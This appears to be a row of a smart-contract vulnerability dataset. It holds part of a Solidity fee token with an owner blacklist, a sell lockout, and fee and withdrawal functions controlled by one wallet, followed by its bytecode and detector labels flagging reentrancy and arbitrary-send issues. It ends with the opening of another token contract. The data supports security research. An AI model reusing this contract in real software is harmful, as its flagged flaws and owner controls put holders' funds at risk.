function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function changeFees(uint8 _fee1,uint8 _fee2,uint8 _liq) external {
require(_msgSender() == _feeAddrWallet1);
require(_fee1 <= feeMax && _fee2 <= feeMax && liqfee <= feeMax,"Cannot set fees above maximum");
fee1 = _fee1;
fee2 = _fee2;
liqfee = _liq;
}
function changeMinBalance(uint256 newMin) external {
require(_msgSender() == _feeAddrWallet1);
minBalance = newMin;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_tax = fee1.add(liqfee);
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && (block.timestamp < time)){
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_tax = fee2.add(liqfee);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from]) {
require(block.timestamp > time,"Sells prohibited for the first 5 minutes");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > minBalance){
swapAndLiquify(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
_transferStandard(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapAndLiquify(uint256 tokenAmount) private {
uint256 half = liqfee.div(2);
uint256 part = fee2.add(half);
uint256 sum = fee2.add(liqfee);
uint256 swapTotal = tokenAmount.mul(part).div(sum);
swapTokensForEth(swapTotal);
addLiquidity(tokenAmount.sub(swapTotal),address(this).balance.mul(half).div(part),_feeAddrWallet1);
}
function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{
_approve(address(this),address(uniswapV2Router),tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,target,block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
addLiquidity(balanceOf(address(this)),address(this).balance,owner());
swapEnabled = true;
tradingOpen = true;
time = block.timestamp + (5 minutes);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 transferAmount,uint256 tfee) = _getTValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(transferAmount);
_tOwned[address(this)] = _tOwned[address(this)].add(tfee);
emit Transfer(sender, recipient, transferAmount);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapAndLiquify(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = tAmount.mul(_tax).div(1000);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function recoverTokens(address tokenAddress) external {
require(_msgSender() == _feeAddrWallet1);
IERC20 recoveryToken = IERC20(tokenAddress);
recoveryToken.transfer(_feeAddrWallet1,recoveryToken.balanceOf(address(this)));
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610384578063b515566a146103c1578063c3c8cd80146103ea578063c9567bf914610401578063dd62ed3e146104185761011f565b806370a08231146102b1578063715018a6146102ee5780637e37e9bb146103055780638da5cb5b1461032e57806395d89b41146103595761011f565b806323b872dd116100e757806323b872dd146101e0578063273123b71461021d578063313ce567146102465780634ea18fab146102715780636fc3eaec1461029a5761011f565b806306fdde0314610124578063095ea7b31461014f57806316114acd1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b60405161014691906128fe565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906123ef565b610492565b60405161018391906128e3565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190612302565b6104b0565b005b3480156101c157600080fd5b506101ca610652565b6040516101d79190612a80565b60405180910390f35b3480156101ec57600080fd5b506102076004803603810190610202919061239c565b610663565b60405161021491906128e3565b60405180910390f35b34801561022957600080fd5b50610244600480360381019061023f9190612302565b61073c565b005b34801561025257600080fd5b5061025b61082c565b6040516102689190612af5565b60405180910390f35b34801561027d57600080fd5b50610298600480360381019061029391906124a5565b610835565b005b3480156102a657600080fd5b506102af6108a0565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612302565b610912565b6040516102e59190612a80565b60405180910390f35b3480156102fa57600080fd5b5061030361095b565b005b34801561031157600080fd5b5061032c60048036038101906103279190612552565b610aae565b005b34801561033a57600080fd5b50610343610b9b565b604051610350919061283e565b60405180910390f35b34801561036557600080fd5b5061036e610bc4565b60405161037b91906128fe565b60405180910390f35b34801561039057600080fd5b506103ab60048036038101906103a691906123ef565b610c01565b6040516103b891906128e3565b60405180910390f35b3480156103cd57600080fd5b506103e860048036038101906103e3919061242f565b610c1f565b005b3480156103f657600080fd5b506103ff610d49565b005b34801561040d57600080fd5b50610416610dc3565b005b34801561042457600080fd5b5061043f600480360381019061043a919061235c565b610f0e565b60405161044c9190612a80565b60405180910390f35b60606040518060400160405280600a81526020017f4461696d796f20496e7500000000000000000000000000000000000000000000815250905090565b60006104a661049f61105a565b8484611062565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104f161105a565b73ffffffffffffffffffffffffffffffffffffffff161461051157600080fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161058e919061283e565b60206040518083038186803b1580156105a657600080fd5b505afa1580156105ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105de91906124d2565b6040518363ffffffff1660e01b81526004016105fb929190612859565b602060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064d9190612478565b505050565b6000683635c9adc5dea00000905090565b600061067084848461122d565b6107318461067c61105a565b61072c8560405180606001604052806028815260200161322060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106e261105a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e69092919063ffffffff16565b611062565b600190509392505050565b61074461105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906129c0565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087661105a565b73ffffffffffffffffffffffffffffffffffffffff161461089657600080fd5b80600e8190555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e161105a565b73ffffffffffffffffffffffffffffffffffffffff161461090157600080fd5b600047905061090f8161194a565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61096361105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e7906129c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aef61105a565b73ffffffffffffffffffffffffffffffffffffffff1614610b0f57600080fd5b600c548360ff1611158015610b295750600c548260ff1611155b8015610b395750600c54600b5411155b610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90612a60565b60405180910390fd5b8260ff166009819055508160ff16600a819055508060ff16600b81905550505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4441494d594f0000000000000000000000000000000000000000000000000000815250905090565b6000610c15610c0e61105a565b848461122d565b6001905092915050565b610c2761105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cab906129c0565b60405180910390fd5b60005b8151811015610d4557600160056000848481518110610cd957610cd8612e73565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3d90612dcc565b915050610cb7565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8a61105a565b73ffffffffffffffffffffffffffffffffffffffff1614610daa57600080fd5b6000610db530610912565b9050610dc0816119b6565b50565b610dcb61105a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f906129c0565b60405180910390fd5b601160149054906101000a900460ff1615610ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9f90612a40565b60405180910390fd5b610ec2610eb430610912565b47610ebd610b9b565b611aa0565b6001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff02191690831515021790555061012c42610f069190612bb6565b600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080831415610fa8576000905061100a565b60008284610fb69190612c3d565b9050828482610fc59190612c0c565b14611005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffc906129a0565b60405180910390fd5b809150505b92915050565b600061105283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bc4565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c990612a20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611142576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113990612960565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112209190612a80565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561129d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129490612a00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130490612940565b60405180910390fd5b60008111611350576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611347906129e0565b60405180910390fd5b611367600b54600954611c2790919063ffffffff16565b600881905550611375610b9b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113e357506113b3610b9b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118d657600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561148c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61149557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115405750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115965750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115a3575060075442105b1561165357600d548111156115b757600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061160257600080fd5b601e4261160f9190612bb6565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116fe5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117545750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561177757611770600b54600a54611c2790919063ffffffff16565b6008819055505b601160159054906101000a900460ff161580156117e25750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117fa5750601160169054906101000a900460ff165b80156118505750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d5576007544211611899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189090612920565b60405180910390fd5b60006118a430610912565b9050600e548111156118d3576118b9816119b6565b600047905060008111156118d1576118d04761194a565b5b505b505b5b6118e1838383611c85565b505050565b600083831115829061192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192591906128fe565b60405180910390fd5b506000838561193d9190612c97565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119b2573d6000803e3d6000fd5b5050565b60006119ce6002600b5461101090919063ffffffff16565b905060006119e782600a54611c2790919063ffffffff16565b90506000611a02600b54600a54611c2790919063ffffffff16565b90506000611a2b82611a1d8588610f9590919063ffffffff16565b61101090919063ffffffff16565b9050611a3681611ec0565b611a99611a4c828761214890919063ffffffff16565b611a7185611a638847610f9590919063ffffffff16565b61101090919063ffffffff16565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611aa0565b5050505050565b6001601160156101000a81548160ff021916908315150217905550611ae830601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685611062565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b8152600401611b4f96959493929190612882565b6060604051808303818588803b158015611b6857600080fd5b505af1158015611b7c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611ba191906124ff565b5050506000601160156101000a81548160ff021916908315150217905550505050565b60008083118290611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0291906128fe565b60405180910390fd5b5060008385611c1a9190612c0c565b9050809150509392505050565b6000808284611c369190612bb6565b905083811015611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7290612980565b60405180910390fd5b8091505092915050565b600080611c9183612192565b91509150611ce783600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611eb19190612a80565b60405180910390a35050505050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef857611ef7612ea2565b5b604051908082528060200260200182016040528015611f265781602001602082028036833780820191505090505b5090503081600081518110611f3e57611f3d612e73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fe057600080fd5b505afa158015611ff4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612018919061232f565b8160018151811061202c5761202b612e73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061209330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611062565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120f7959493929190612a9b565b600060405180830381600087803b15801561211157600080fd5b505af1158015612125573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600061218a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118e6565b905092915050565b60008060006121c06103e86121b260085487610f9590919063ffffffff16565b61101090919063ffffffff16565b905060006121d7828661214890919063ffffffff16565b90508082935093505050915091565b60006121f96121f484612b35565b612b10565b9050808382526020820190508285602086028201111561221c5761221b612ed6565b5b60005b8581101561224c57816122328882612256565b84526020840193506020830192505060018101905061221f565b5050509392505050565b600081359050612265816131c3565b92915050565b60008151905061227a816131c3565b92915050565b600082601f83011261229557612294612ed1565b5b81356122a58482602086016121e6565b91505092915050565b6000815190506122bd816131da565b92915050565b6000813590506122d2816131f1565b92915050565b6000815190506122e7816131f1565b92915050565b6000813590506122fc81613208565b92915050565b60006020828403121561231857612317612ee0565b5b600061232684828501612256565b91505092915050565b60006020828403121561234557612344612ee0565b5b60006123538482850161226b565b91505092915050565b6000806040838503121561237357612372612ee0565b5b600061238185828601612256565b925050602061239285828601612256565b9150509250929050565b6000806000606084860312156123b5576123b4612ee0565b5b60006123c386828701612256565b93505060206123d486828701612256565b92505060406123e5868287016122c3565b9150509250925092565b6000806040838503121561240657612405612ee0565b5b600061241485828601612256565b9250506020612425858286016122c3565b9150509250929050565b60006020828403121561244557612444612ee0565b5b600082013567ffffffffffffffff81111561246357612462612edb565b5b61246f84828501612280565b91505092915050565b60006020828403121561248e5761248d612ee0565b5b600061249c848285016122ae565b91505092915050565b6000602082840312156124bb576124ba612ee0565b5b60006124c9848285016122c3565b91505092915050565b6000602082840312156124e8576124e7612ee0565b5b60006124f6848285016122d8565b91505092915050565b60008060006060848603121561251857612517612ee0565b5b6000612526868287016122d8565b9350506020612537868287016122d8565b9250506040612548868287016122d8565b9150509250925092565b60008060006060848603121561256b5761256a612ee0565b5b6000612579868287016122ed565b935050602061258a868287016122ed565b925050604061259b868287016122ed565b9150509250925092565b60006125b183836125cc565b60208301905092915050565b6125c681612d20565b82525050565b6125d581612ccb565b82525050565b6125e481612ccb565b82525050565b60006125f582612b71565b6125ff8185612b94565b935061260a83612b61565b8060005b8381101561263b57815161262288826125a5565b975061262d83612b87565b92505060018101905061260e565b5085935050505092915050565b61265181612cdd565b82525050565b61266081612d32565b82525050565b600061267182612b7c565b61267b8185612ba5565b935061268b818560208601612d68565b61269481612ee5565b840191505092915050565b60006126ac602883612ba5565b91506126b782612ef6565b604082019050919050565b60006126cf602383612ba5565b91506126da82612f45565b604082019050919050565b60006126f2602283612ba5565b91506126fd82612f94565b604082019050919050565b6000612715601b83612ba5565b915061272082612fe3565b602082019050919050565b6000612738602183612ba5565b91506127438261300c565b604082019050919050565b600061275b602083612ba5565b91506127668261305b565b602082019050919050565b600061277e602983612ba5565b915061278982613084565b604082019050919050565b60006127a1602583612ba5565b91506127ac826130d3565b604082019050919050565b60006127c4602483612ba5565b91506127cf82613122565b604082019050919050565b60006127e7601783612ba5565b91506127f282613171565b602082019050919050565b600061280a601d83612ba5565b91506128158261319a565b602082019050919050565b61282981612d09565b82525050565b61283881612d13565b82525050565b600060208201905061285360008301846125db565b92915050565b600060408201905061286e60008301856125bd565b61287b6020830184612820565b9392505050565b600060c08201905061289760008301896125db565b6128a46020830188612820565b6128b16040830187612657565b6128be6060830186612657565b6128cb60808301856125db565b6128d860a0830184612820565b979650505050505050565b60006020820190506128f86000830184612648565b92915050565b600060208201905081810360008301526129188184612666565b905092915050565b600060208201905081810360008301526129398161269f565b9050919050565b60006020820190508181036000830152612959816126c2565b9050919050565b60006020820190508181036000830152612979816126e5565b9050919050565b6000602082019050818103600083015261299981612708565b9050919050565b600060208201905081810360008301526129b98161272b565b9050919050565b600060208201905081810360008301526129d98161274e565b9050919050565b600060208201905081810360008301526129f981612771565b9050919050565b60006020820190508181036000830152612a1981612794565b9050919050565b60006020820190508181036000830152612a39816127b7565b9050919050565b60006020820190508181036000830152612a59816127da565b9050919050565b60006020820190508181036000830152612a79816127fd565b9050919050565b6000602082019050612a956000830184612820565b92915050565b600060a082019050612ab06000830188612820565b612abd6020830187612657565b8181036040830152612acf81866125ea565b9050612ade60608301856125db565b612aeb6080830184612820565b9695505050505050565b6000602082019050612b0a600083018461282f565b92915050565b6000612b1a612b2b565b9050612b268282612d9b565b919050565b6000604051905090565b600067ffffffffffffffff821115612b5057612b4f612ea2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bc182612d09565b9150612bcc83612d09565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c0157612c00612e15565b5b828201905092915050565b6000612c1782612d09565b9150612c2283612d09565b925082612c3257612c31612e44565b5b828204905092915050565b6000612c4882612d09565b9150612c5383612d09565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c8c57612c8b612e15565b5b828202905092915050565b6000612ca282612d09565b9150612cad83612d09565b925082821015612cc057612cbf612e15565b5b828203905092915050565b6000612cd682612ce9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d2b82612d44565b9050919050565b6000612d3d82612d09565b9050919050565b6000612d4f82612d56565b9050919050565b6000612d6182612ce9565b9050919050565b60005b83811015612d86578082015181840152602081019050612d6b565b83811115612d95576000848401525b50505050565b612da482612ee5565b810181811067ffffffffffffffff82111715612dc357612dc2612ea2565b5b80604052505050565b6000612dd782612d09565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e0a57612e09612e15565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f53656c6c732070726f6869626974656420666f7220746865206669727374203560008201527f206d696e75746573000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f43616e6e6f742073657420666565732061626f7665206d6178696d756d000000600082015250565b6131cc81612ccb565b81146131d757600080fd5b50565b6131e381612cdd565b81146131ee57600080fd5b50565b6131fa81612d09565b811461320557600080fd5b50565b61321181612d13565b811461321c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b2849f170fb85c447a5ff659755c9d1f3a5a8687edebaa5d5fb38f53fb92c1364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,183 |
0x5dcbd4c39254a235386d039e994956768af417b3
|
/**
*Submitted for verification at Etherscan.io on 2021-09-25
*/
pragma solidity ^0.4.16;
// VIRTUS Token contract based on the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Symbol: VTS
// Status: ERC20 Verified
contract VIRTUSToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* VIRTUS Math operations with safety checks to avoid unnecessary conflicts
*/
library VTSMaths {
// Saftey Checks for Multiplication Tasks
